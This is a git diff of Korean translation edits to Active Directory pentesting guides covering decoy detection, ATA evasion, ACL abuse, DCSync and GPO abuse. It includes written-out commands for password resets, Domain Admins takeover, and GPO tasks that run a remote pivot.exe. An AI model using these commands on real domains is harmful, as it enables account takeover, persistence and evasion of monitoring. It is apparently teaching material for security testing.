- 실용적인 예시는 다음과 같은 도구 사용을 포함합니다: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- deception 기법 배포에 대한 자세한 내용은 [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)에서 확인할 수 있습니다.
|
||||
|
||||
### **Identifying Deception**
|
||||
|
||||
- **For User Objects**: Suspicious indicators include atypical ObjectSID, infrequent logons, creation dates, and low bad password counts.
|
||||
- **General Indicators**: Comparing attributes of potential decoy objects with those of genuine ones can reveal inconsistencies. Tools like [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) can assist in identifying such deceptions.
|
||||
|
||||
### **Deception 식별**
|
||||
|
||||
- **For User Objects**: 의심스러운 지표로는 비정상적인 ObjectSID, 드문 로그온, 생성일자, 낮은 bad password 카운트 등이 있습니다.
|
||||
- **General Indicators**: 잠재적 유인 객체의 속성을 실제 객체와 비교하면 불일치가 드러날 수 있습니다. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)와 같은 도구가 이러한 deception 식별에 도움이 됩니다.
|
||||
- **For User Objects**: 의심스러운 지표로는 비정상적인 ObjectSID, 드문 로그온(infrequent logons), 생성 날짜, 낮은 잘못된 비밀번호 시도 수(bad password counts) 등이 있습니다.
|
||||
- **General Indicators**: 잠재적 미끼 객체의 속성을 진짜 객체의 속성과 비교하면 불일치를 발견할 수 있습니다. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) 같은 도구가 이러한 속임수를 식별하는 데 도움을 줄 수 있습니다.
|
||||
|
||||
### **Bypassing Detection Systems**
|
||||
|
||||
- **Microsoft ATA Detection Bypass**:
|
||||
- **User Enumeration**: Avoiding session enumeration on Domain Controllers to prevent ATA detection.
|
||||
- **Ticket Impersonation**: Utilizing **aes** keys for ticket creation helps evade detection by not downgrading to NTLM.
|
||||
- **DCSync Attacks**: Executing from a non-Domain Controller to avoid ATA detection is advised, as direct execution from a Domain Controller will trigger alerts.
|
||||
|
||||
### **탐지 시스템 우회**
|
||||
|
||||
- **Microsoft ATA Detection Bypass**:
|
||||
- **User Enumeration**: ATA 탐지를 피하기 위해 Domain Controllers에서 세션 열거(session enumeration)를 피합니다.
|
||||
- **Ticket Impersonation**: 티켓 생성 시 **aes** 키를 사용하면 NTLM으로 강등되지 않아 탐지를 회피하는 데 도움이 됩니다.
|
||||
- **DCSync Attacks**: 직행으로 Domain Controller에서 실행하면 경보가 발생하므로, ATA 탐지를 피하려면 non-Domain Controller에서 실행하는 것이 권장됩니다.
|
||||
- **User Enumeration**: ATA 탐지를 피하기 위해 Domain Controllers에서의 세션 열람(session enumeration)을 피합니다.
|
||||
- **Ticket Impersonation**: 티켓 생성 시 **aes** 키를 사용하면 NTLM으로 강등하지 않아 탐지를 회피하는 데 유리합니다.
|
||||
- **DCSync Attacks**: DCSync는 Domain Controller가 아닌 곳에서 실행하여 ATA 탐지를 피하는 것이 권장되며, Domain Controller에서 직접 실행하면 경고가 발생합니다.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**이 페이지는 주로 다음 글들의 기법을 요약한 것입니다:** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **및** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. 자세한 내용은 원문 기사를 확인하세요.**
|
||||
**이 페이지는 주로 다음 기술들의 요약입니다:** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **및** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. 자세한 내용은 원문을 확인하세요.**
|
||||
|
||||
## BadSuccessor
|
||||
|
||||
@ -11,32 +11,32 @@
|
||||
BadSuccessor.md
|
||||
{{#endref}}
|
||||
|
||||
## **GenericAll 사용자에 대한 전체 권한**
|
||||
## **GenericAll: 사용자에 대한 권한**
|
||||
|
||||
이 권한은 공격자에게 대상 사용자 계정에 대한 전체 제어 권한을 부여합니다. `GenericAll` 권한이 `Get-ObjectAcl` 명령으로 확인되면, 공격자는 다음을 수행할 수 있습니다:
|
||||
이 권한은 공격자에게 대상 사용자 계정에 대한 전체 제어를 부여합니다. `Get-ObjectAcl` 명령으로 `GenericAll` 권한이 확인되면, 공격자는 다음을 수행할 수 있습니다:
|
||||
|
||||
- **대상의 비밀번호 변경**: `net user <username> <password> /domain`를 사용하여 공격자는 사용자의 비밀번호를 재설정할 수 있습니다.
|
||||
- **Targeted Kerberoasting**: 사용자 계정에 SPN을 할당하여 kerberoastable 상태로 만든 다음, Rubeus와 targetedKerberoast.py를 사용해 ticket-granting ticket (TGT) 해시를 추출하고 크랙을 시도합니다.
|
||||
- **대상 계정의 비밀번호 변경**: `net user <username> <password> /domain`을 사용하여 공격자는 사용자의 비밀번호를 재설정할 수 있습니다.
|
||||
- **Targeted Kerberoasting**: 사용자의 계정에 SPN을 할당하여 kerberoastable 상태로 만든 다음, Rubeus 및 targetedKerberoast.py를 사용해 ticket-granting ticket (TGT) 해시를 추출하고 크래킹을 시도합니다.
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Targeted ASREPRoasting**: 해당 사용자의 pre-authentication을 비활성화하여 계정이 ASREPRoasting에 취약해지게 합니다.
|
||||
- **Targeted ASREPRoasting**: 사용자의 pre-authentication을 비활성화하여 해당 계정이 ASREPRoasting에 취약해지도록 만듭니다.
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **그룹에 대한 GenericAll 권한**
|
||||
## **GenericAll 권한이 있는 그룹**
|
||||
|
||||
이 권한은 공격자가 `Domain Admins`와 같은 그룹에 대해 `GenericAll` 권한을 가지고 있다면 그룹 멤버십을 조작할 수 있게 합니다. `Get-NetGroup`으로 그룹의 distinguished name을 확인한 후 공격자는 다음을 수행할 수 있습니다:
|
||||
이 권한은 공격자가 `Domain Admins`와 같은 그룹에 대해 `GenericAll` 권한을 가진 경우 그룹 멤버십을 조작할 수 있게 합니다. 그룹의 distinguished name을 `Get-NetGroup`으로 식별한 후, 공격자는 다음을 수행할 수 있습니다:
|
||||
|
||||
- **자신을 Domain Admins 그룹에 추가**: 이는 직접 명령을 통해 또는 Active Directory나 PowerSploit 같은 모듈을 사용하여 수행할 수 있습니다.
|
||||
- **자신을 Domain Admins 그룹에 추가**: 이는 직접 명령어를 사용하거나 Active Directory 또는 PowerSploit 같은 모듈을 통해 수행할 수 있습니다.
|
||||
```bash
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
- Linux에서 GenericAll/Write 멤버십을 보유한 경우 BloodyAD를 사용해 임의의 그룹에 자신을 추가할 수 있습니다. 대상 그룹이 “Remote Management Users”에 중첩되어 있으면 해당 그룹을 적용하는 호스트에서 즉시 WinRM 접근 권한을 얻습니다:
|
||||
- Linux에서는 BloodyAD를 사용해 해당 그룹에 대해 GenericAll/Write 멤버십을 보유하고 있을 때 임의의 그룹에 자신을 추가할 수 있습니다. 대상 그룹이 “Remote Management Users”에 중첩되어 있다면, 해당 그룹을 존중하는 호스트에서 즉시 WinRM 접근 권한을 얻게 됩니다:
|
||||
```bash
|
||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||
@ -46,35 +46,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
||||
```
|
||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||
|
||||
이러한 권한을 컴퓨터 오브젝트나 사용자 계정에 보유하면 다음이 가능합니다:
|
||||
컴퓨터 객체나 사용자 계정에 이러한 권한을 보유하면 다음이 가능합니다:
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation**: 컴퓨터 오브젝트를 탈취할 수 있습니다.
|
||||
- **Shadow Credentials**: 권한을 이용해 Shadow Credentials를 생성하여 컴퓨터나 사용자 계정을 가장할 수 있습니다.
|
||||
- **Kerberos Resource-based Constrained Delegation**: 컴퓨터 객체를 장악할 수 있습니다.
|
||||
- **Shadow Credentials**: 이 권한을 이용해 Shadow Credentials를 생성하여 컴퓨터나 사용자 계정을 가장할 때 사용할 수 있습니다.
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
사용자가 특정 그룹(예: `Domain Admins`)에 대한 모든 객체에 대해 `WriteProperty` 권한을 가지고 있으면, 다음을 수행할 수 있습니다:
|
||||
사용자가 특정 그룹(예: `Domain Admins`)의 모든 객체에 대해 `WriteProperty` 권한을 가지고 있다면, 다음을 수행할 수 있습니다:
|
||||
|
||||
- **Domain Admins 그룹에 자신을 추가**: `net user`와 `Add-NetGroupUser` 명령을 조합해 달성할 수 있으며, 이 방법은 도메인 내에서 privilege escalation을 허용합니다.
|
||||
- **자신을 `Domain Admins` 그룹에 추가**: `net user`와 `Add-NetGroupUser` 명령을 결합하여 달성할 수 있으며, 이 방법은 도메인 내 권한 상승을 허용합니다.
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **Self (Self-Membership) on Group**
|
||||
|
||||
이 권한은 공격자가 그룹 멤버십을 직접 조작하는 명령을 통해 `Domain Admins`와 같은 특정 그룹에 자신을 추가할 수 있게 합니다. 다음 명령 시퀀스를 사용하면 자신을 추가할 수 있습니다:
|
||||
이 권한은 공격자가 그룹 멤버십을 직접 조작하는 명령을 통해 자신을 `Domain Admins`와 같은 특정 그룹에 추가할 수 있게 합니다. 다음 명령 시퀀스를 사용하면 자신을 추가할 수 있습니다:
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Self-Membership)**
|
||||
|
||||
유사한 권한으로, 공격자는 해당 그룹에 대해 `WriteProperty` 권한이 있는 경우 그룹 속성을 수정하여 자신을 직접 그룹에 추가할 수 있습니다. 이 권한의 확인 및 실행은 다음을 통해 수행됩니다:
|
||||
유사한 권한으로, 이 권한은 공격자가 해당 그룹에 대해 `WriteProperty` 권한이 있으면 그룹 속성을 수정하여 자신을 직접 그룹에 추가할 수 있게 합니다. 이 권한의 확인 및 실행은 다음과 같이 수행됩니다:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
사용자에 대해 `ExtendedRight`로 지정된 `User-Force-Change-Password` 권한을 보유하면 현재 비밀번호를 알지 못해도 비밀번호를 재설정할 수 있습니다. 이 권한의 확인 및 악용은 PowerShell 또는 기타 명령줄 도구를 통해 수행할 수 있으며, interactive sessions와 비대화형 환경을 위한 one-liners를 포함한 여러 방법으로 사용자의 비밀번호를 재설정할 수 있습니다. 명령어는 간단한 PowerShell 호출부터 Linux에서 `rpcclient`를 사용하는 것까지 다양하여 공격 벡터의 유연성을 보여줍니다.
|
||||
사용자에 대해 `User-Force-Change-Password`의 `ExtendedRight`를 보유하면 현재 비밀번호를 알지 못해도 비밀번호를 재설정할 수 있습니다. 이 권한의 확인 및 악용은 PowerShell 또는 기타 명령줄 도구를 통해 수행할 수 있으며, 대화형 세션과 비대화형 환경용 one-liners를 포함해 사용자의 비밀번호를 재설정할 수 있는 여러 방법을 제공합니다. 명령은 간단한 PowerShell 호출에서 Linux에서 `rpcclient`를 사용하는 것까지 다양하며, 이는 attack vectors의 다양성을 보여줍니다.
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
@ -85,23 +85,23 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
||||
rpcclient -U KnownUsername 10.10.10.192
|
||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
## **WriteOwner on Group**
|
||||
## **WriteOwner on 그룹**
|
||||
|
||||
공격자가 특정 그룹에 대해 `WriteOwner` 권한을 가지고 있다는 것을 알게 되면, 해당 그룹의 소유자를 자신으로 변경할 수 있습니다. 이 권한은 대상 그룹이 `Domain Admins`일 경우 특히 큰 영향을 미치며, 소유권 변경을 통해 그룹 속성 및 멤버십을 더 광범위하게 제어할 수 있습니다. 이 절차는 `Get-ObjectAcl`을 통해 올바른 객체를 식별한 다음 `Set-DomainObjectOwner`를 사용하여 SID 또는 이름으로 소유자를 변경하는 것을 포함합니다.
|
||||
공격자가 특정 그룹에 대해 `WriteOwner` 권한을 가지고 있음을 알게 되면, 해당 그룹의 소유권을 자신에게 변경할 수 있습니다. 특히 문제가 되는 그룹이 `Domain Admins`인 경우 소유권 변경을 통해 그룹 속성 및 멤버십을 더 광범위하게 제어할 수 있어 영향이 큽니다. 이 과정은 `Get-ObjectAcl`로 올바른 객체를 식별한 뒤 `Set-DomainObjectOwner`를 사용하여 소유자를 SID 또는 이름으로 변경하는 것을 포함합니다.
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite on User**
|
||||
## **GenericWrite on 사용자**
|
||||
|
||||
이 권한은 공격자가 사용자 속성을 수정할 수 있게 합니다. 구체적으로, `GenericWrite` 접근 권한을 통해 공격자는 사용자의 로그온 스크립트 경로를 변경해 사용자가 로그온할 때 악성 스크립트를 실행하게 할 수 있습니다. 이는 `Set-ADObject` 명령을 사용해 대상 사용자의 `scriptpath` 속성을 공격자의 스크립트를 가리키도록 업데이트함으로써 이루어집니다.
|
||||
이 권한은 공격자가 사용자 속성을 수정할 수 있게 합니다. 구체적으로 `GenericWrite` 액세스가 있으면 공격자는 사용자의 로그온 스크립트 경로를 변경하여 사용자가 로그인할 때 악성 스크립트를 실행하도록 할 수 있습니다. 이는 `Set-ADObject` 명령을 사용해 대상 사용자의 `scriptpath` 속성을 공격자의 스크립트를 가리키도록 업데이트함으로써 달성됩니다.
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite on Group
|
||||
|
||||
이 권한을 통해 공격자는 그룹 멤버십을 조작할 수 있습니다. 예를 들어 자신이나 다른 사용자를 특정 그룹에 추가하는 등의 작업이 가능합니다. 이 과정은 credential object를 생성하고, 이를 사용해 그룹에서 사용자를 추가하거나 제거한 뒤 PowerShell 명령으로 멤버십 변경을 확인하는 것을 포함합니다.
|
||||
이 권한을 통해 공격자는 자신이나 다른 사용자를 특정 그룹에 추가하는 등 그룹 멤버십을 조작할 수 있습니다. 이 과정은 자격 증명 객체를 생성하고, 이를 사용해 그룹에서 사용자를 추가하거나 제거한 다음 PowerShell 명령으로 멤버십 변경을 확인하는 절차로 이루어집니다.
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
@ -111,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
AD 객체를 소유하고 `WriteDACL` 권한을 가지고 있으면 공격자는 해당 객체에 대해 자신에게 `GenericAll` 권한을 부여할 수 있습니다. 이는 ADSI 조작을 통해 이루어지며, 객체에 대한 완전한 제어와 그룹 멤버십을 수정할 수 있는 능력을 허용합니다. 그럼에도 불구하고, Active Directory 모듈의 `Set-Acl` / `Get-Acl` cmdlets를 사용하여 이러한 권한을 악용하려고 할 때는 제한 사항이 존재합니다.
|
||||
AD 객체를 소유하고 해당 객체에 대해 `WriteDACL` 권한을 가지고 있으면 공격자는 자신에게 해당 객체에 대한 `GenericAll` 권한을 부여할 수 있습니다. 이는 ADSI 조작을 통해 이루어지며, 객체에 대한 완전한 제어와 그룹 멤버십을 수정할 수 있는 능력을 허용합니다. 그럼에도 불구하고 Active Directory module의 `Set-Acl` / `Get-Acl` cmdlets를 사용해 이러한 권한을 악용하려 할 때 제약이 존재합니다.
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -121,62 +121,62 @@ $ADSI.psbase.commitchanges()
|
||||
```
|
||||
## **도메인에서의 복제 (DCSync)**
|
||||
|
||||
DCSync 공격은 도메인의 특정 복제 권한을 활용해 Domain Controller를 가장하고 사용자 자격 증명을 포함한 데이터를 동기화합니다. 이 강력한 기법은 `DS-Replication-Get-Changes` 같은 권한을 필요로 하며, 공격자가 Domain Controller에 직접 접근하지 않고도 AD 환경에서 민감한 정보를 추출할 수 있게 합니다. [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like `DS-Replication-Get-Changes`, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
|
||||
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
## GPO 위임 <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### GPO Delegation
|
||||
### GPO 위임
|
||||
|
||||
Group Policy Objects (GPOs)를 관리할 수 있는 위임된 접근 권한은 심각한 보안 위험을 초래할 수 있습니다. 예를 들어 `offense\spotless` 같은 사용자에게 GPO 관리 권한이 위임되어 있다면 **WriteProperty**, **WriteDacl**, **WriteOwner**와 같은 권한을 가질 수 있습니다. 이러한 권한은 악의적으로 남용될 수 있으며, PowerView를 사용해 다음과 같이 식별할 수 있습니다: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
Group Policy Objects (GPO)를 관리하도록 권한이 위임되면 심각한 보안 위험이 발생할 수 있습니다. 예를 들어 `offense\spotless` 같은 사용자에게 GPO 관리 권한이 위임되면 **WriteProperty**, **WriteDacl**, 그리고 **WriteOwner** 같은 권한을 가질 수 있습니다. 이러한 권한은 악의적으로 남용될 수 있으며, PowerView를 사용해 다음과 같이 확인할 수 있습니다: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### Enumerate GPO Permissions
|
||||
### GPO 권한 열거
|
||||
|
||||
잘못 구성된 GPO를 식별하기 위해 PowerSploit의 cmdlet들을 연결(chain)해서 사용할 수 있습니다. 이를 통해 특정 사용자가 관리 권한을 가진 GPO를 발견할 수 있습니다: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
잘못 구성된 GPO를 찾기 위해 PowerSploit의 cmdlet을 연결해서 사용할 수 있습니다. 이를 통해 특정 사용자가 관리 권한을 가진 GPO를 찾아낼 수 있습니다: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**지정된 정책이 적용된 컴퓨터**: 특정 GPO가 적용되는 컴퓨터를 확인할 수 있어 잠재적 영향 범위를 이해하는 데 도움이 됩니다. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
**특정 정책이 적용된 컴퓨터**: 특정 GPO가 적용되는 컴퓨터를 확인할 수 있어 잠재적 영향 범위를 파악하는 데 도움이 됩니다. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**특정 컴퓨터에 적용된 정책**: 특정 컴퓨터에 어떤 정책이 적용되어 있는지 확인하려면 `Get-DomainGPO` 같은 명령을 사용할 수 있습니다.
|
||||
**특정 컴퓨터에 적용된 정책**: 특정 컴퓨터에 어떤 정책이 적용되었는지 보려면 `Get-DomainGPO` 같은 명령을 사용할 수 있습니다.
|
||||
|
||||
**특정 정책이 적용된 OU**: 특정 정책의 영향을 받는 조직 단위(OU)를 식별하려면 `Get-DomainOU`를 사용합니다.
|
||||
**특정 정책이 적용된 OU**: 특정 정책의 영향을 받는 조직 단위(OU)를 식별하려면 `Get-DomainOU`를 사용할 수 있습니다.
|
||||
|
||||
또한 도구 [**GPOHound**](https://github.com/cogiceo/GPOHound)를 사용하여 GPO를 열거하고 문제를 찾을 수 있습니다.
|
||||
또한 도구 [**GPOHound**](https://github.com/cogiceo/GPOHound)를 사용해 GPO를 열거하고 문제를 찾을 수 있습니다.
|
||||
|
||||
### Abuse GPO - New-GPOImmediateTask
|
||||
### GPO 악용 - New-GPOImmediateTask
|
||||
|
||||
잘못 구성된 GPO는 즉시 실행되는 스케줄된 작업을 생성하는 식으로 코드 실행에 악용될 수 있습니다. 이를 통해 영향받는 시스템의 로컬 Administrators 그룹에 사용자를 추가하여 권한을 크게 상승시킬 수 있습니다:
|
||||
잘못 구성된 GPO는 코드 실행에 악용될 수 있습니다. 예를 들어 즉시 실행되는 예약 작업을 생성하여 영향을 받는 시스템의 로컬 관리자 그룹에 사용자를 추가함으로써 권한을 크게 상승시킬 수 있습니다:
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy module - Abuse GPO
|
||||
|
||||
GroupPolicy module가 설치되어 있으면 새로운 GPOs를 생성하고 연결할 수 있으며, 영향을 받는 컴퓨터에서 backdoors를 실행하도록 registry values와 같은 설정을 할 수 있습니다. 이 방법은 GPO가 업데이트되고 사용자가 컴퓨터에 로그인해야 실행됩니다:
|
||||
GroupPolicy module가 설치되어 있으면 새 GPO를 생성 및 연결하고, 대상 컴퓨터에서 backdoors를 실행하도록 registry 값 같은 설정을 할 수 있습니다. 이 방법은 GPO가 업데이트되고 사용자가 해당 컴퓨터에 로그인해야 실행됩니다:
|
||||
```bash
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - Abuse GPO
|
||||
|
||||
SharpGPOAbuse는 새 GPO를 생성할 필요 없이 작업을 추가하거나 설정을 수정하여 기존 GPOs를 abuse하는 방법을 제공합니다. 이 도구는 변경 사항을 적용하기 전 기존 GPOs를 수정하거나 RSAT 도구를 사용해 새 GPOs를 생성해야 합니다:
|
||||
SharpGPOAbuse는 새로운 GPO를 생성할 필요 없이 작업을 추가하거나 설정을 수정하여 기존 GPOs를 악용하는 방법을 제공합니다. 이 도구는 변경을 적용하기 전에 기존 GPOs를 수정하거나 RSAT 도구를 사용해 새 GPO를 생성해야 합니다:
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### 정책 업데이트 강제
|
||||
### 정책 업데이트 강제 적용
|
||||
|
||||
GPO 업데이트는 일반적으로 약 90분마다 발생합니다. 이 과정을 앞당기려면, 특히 변경을 적용한 직후에 대상 컴퓨터에서 `gpupdate /force` 명령을 사용해 즉시 정책 업데이트를 강제할 수 있습니다. 이 명령은 다음 자동 업데이트 주기를 기다리지 않고 GPO에 대한 모든 수정 사항이 적용되도록 보장합니다.
|
||||
GPO 업데이트는 보통 약 90분마다 발생합니다. 변경 사항 적용 후 이 과정을 빠르게 진행하려면 대상 컴퓨터에서 `gpupdate /force` 명령을 사용해 즉시 정책 업데이트를 강제할 수 있습니다. 이 명령은 다음 자동 업데이트 주기를 기다리지 않고 GPOs에 대한 수정 사항이 적용되도록 합니다.
|
||||
|
||||
### 내부 동작
|
||||
### 내부 작동 방식
|
||||
|
||||
특정 GPO(예: `Misconfigured Policy`)의 Scheduled Tasks를 검사하면 `evilTask`와 같은 작업이 추가된 것을 확인할 수 있습니다. 이러한 작업은 시스템 동작을 변경하거나 권한을 상승시키기 위해 스크립트나 명령줄 도구를 통해 생성됩니다.
|
||||
주어진 GPO의 Scheduled Tasks를 검사하면 `Misconfigured Policy`와 같은 GPO에서 `evilTask`와 같은 작업이 추가된 것을 확인할 수 있습니다. 이러한 작업은 시스템 동작을 변경하거나 권한을 상승시키기 위해 스크립트나 명령줄 도구를 통해 생성됩니다.
|
||||
|
||||
`New-GPOImmediateTask`로 생성된 XML 구성 파일에 표시된 작업의 구조는 실행할 명령과 트리거를 포함하여 예약 작업의 세부사항을 설명합니다. 이 파일은 GPO 내에서 예약 작업이 어떻게 정의되고 관리되는지를 나타내며, 정책 적용의 일환으로 임의의 명령이나 스크립트를 실행하는 방법을 제공합니다.
|
||||
`New-GPOImmediateTask`로 생성된 XML 구성 파일에 나타난 작업 구조는 실행될 명령과 트리거를 포함하여 스케줄된 작업의 세부 사항을 개요로 제공합니다. 이 파일은 GPOs 내에서 스케줄된 작업이 정의되고 관리되는 방식을 나타내며, 정책 적용의 일부로 임의의 명령이나 스크립트를 실행하는 방법을 제공합니다.
|
||||
|
||||
### 사용자 및 그룹
|
||||
|
||||
GPO는 대상 시스템에서 사용자 및 그룹 멤버십을 조작할 수도 있습니다. Users and Groups 정책 파일을 직접 편집함으로써 공격자는 로컬 `administrators` 그룹과 같은 권한이 부여된 그룹에 사용자를 추가할 수 있습니다. 이는 GPO 관리 권한의 위임을 통해 가능하며, 정책 파일을 수정하여 새로운 사용자를 포함하거나 그룹 멤버십을 변경할 수 있게 합니다.
|
||||
GPOs는 또한 대상 시스템에서 사용자 및 그룹 구성원 자격을 조작할 수 있게 합니다. Users and Groups 정책 파일을 직접 편집함으로써 공격자는 로컬 `administrators` 그룹과 같은 권한 그룹에 사용자를 추가할 수 있습니다. 이는 GPO 관리 권한의 위임을 통해 가능하며, 정책 파일을 수정하여 새 사용자를 포함시키거나 그룹 구성원을 변경할 수 있게 합니다.
|
||||
|
||||
Users and Groups용 XML 구성 파일은 이러한 변경이 어떻게 구현되는지를 개략적으로 보여줍니다. 이 파일에 항목을 추가하면 특정 사용자에게 영향을 받는 시스템 전반에서 상승된 권한을 부여할 수 있습니다. 이 방법은 GPO 조작을 통한 권한 상승의 직접적인 접근법을 제공합니다.
|
||||
Users and Groups에 대한 XML 구성 파일은 이러한 변경이 어떻게 구현되는지를 설명합니다. 이 파일에 항목을 추가함으로써 특정 사용자에게 영향받는 시스템 전반에 걸쳐 향상된 권한을 부여할 수 있습니다. 이 방법은 GPO 조작을 통한 직접적인 권한 상승 접근법을 제공합니다.
|
||||
|
||||
또한 logon/logoff 스크립트 활용, autoruns용 레지스트리 키 수정, .msi 파일을 통한 소프트웨어 설치, 서비스 구성 편집 등 코드 실행이나 지속성을 유지하기 위한 추가적인 방법들도 고려될 수 있습니다. 이러한 기법들은 GPO 남용을 통해 접근을 유지하고 대상 시스템을 제어할 수 있는 다양한 경로를 제공합니다.
|
||||
또한 logon/logoff scripts 활용, autoruns를 위한 registry keys 수정, .msi 파일을 통한 소프트웨어 설치, 서비스 구성 편집 등 코드 실행이나 지속성 유지에 대한 추가적인 방법들도 고려될 수 있습니다. 이러한 기술들은 GPOs를 악용하여 접근을 유지하고 대상 시스템을 제어할 수 있는 다양한 경로를 제공합니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
|
@ -1,21 +1,21 @@
|
||||
# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE
|
||||
